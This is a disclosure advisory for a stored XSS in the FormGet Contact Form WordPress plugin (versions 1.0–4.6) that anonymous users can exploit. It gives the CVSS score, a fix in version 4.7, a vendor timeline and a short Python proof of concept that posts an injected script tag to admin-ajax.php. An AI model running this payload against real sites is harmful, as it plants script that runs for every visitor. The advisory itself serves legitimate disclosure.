FormGet Contact Form 1.0 - 4.6, Persistent XSS
Due to exposing an AJAX function to anonymous users by using the ‘nopriv’ method of adding an AJAX action, anonymous users are able to insert arbitrary HTML / Javascript onto the site globally.
Homepage
https://wordpress.org/plugins/formget-contact-form/
CVSS Score
6.4
CSSS Vector
(AV:N/AC:L/Au:N/C:P/I:P/A:N)
Attack Scope
remote
Authorization Required
None
Mitigation
Update to version 4.7
Proof of Concept
The following Python script will result arbitrary Javascript being executed on page load. Any custom HTML content can be inserted into the ‘value’ field, so long as the text ‘sideBar’ exists in the provided data
import requests
url = 'http://localhost/wp-admin/admin-ajax.php'
payload = {
"action":"request_response",
"value":"<!--sideBar--><script>alert('.')</script>"}
r = requests.post(url, data=payload)
Timeline
- 2014-09-22: Discovered
- 2014-09-22: Reported to vendor
- 2014-09-24: Vendor responded with intent to fix
- 2014-09-29: Update requested from vendor
- 2014-09-30: CVE requested
- 2014-10-02: CVE assigned
- 2014-10-06: Update requested from vendor
- 2014-10-06: Vendor responded stating issue has been fixed, but no update available to the public yet. Will re check in two days
- 2014-10-08: No update available yet to the public – update requested from vendor
- 2014-10-08: Vendor responded, stating update made to 4.6. Fix has been put in place, but version number not incremented. Provided recommendation to increment version number
- 2014-10-10: Vendor releases 4.7 – issue resolved
- 2014-10-17: Advisory released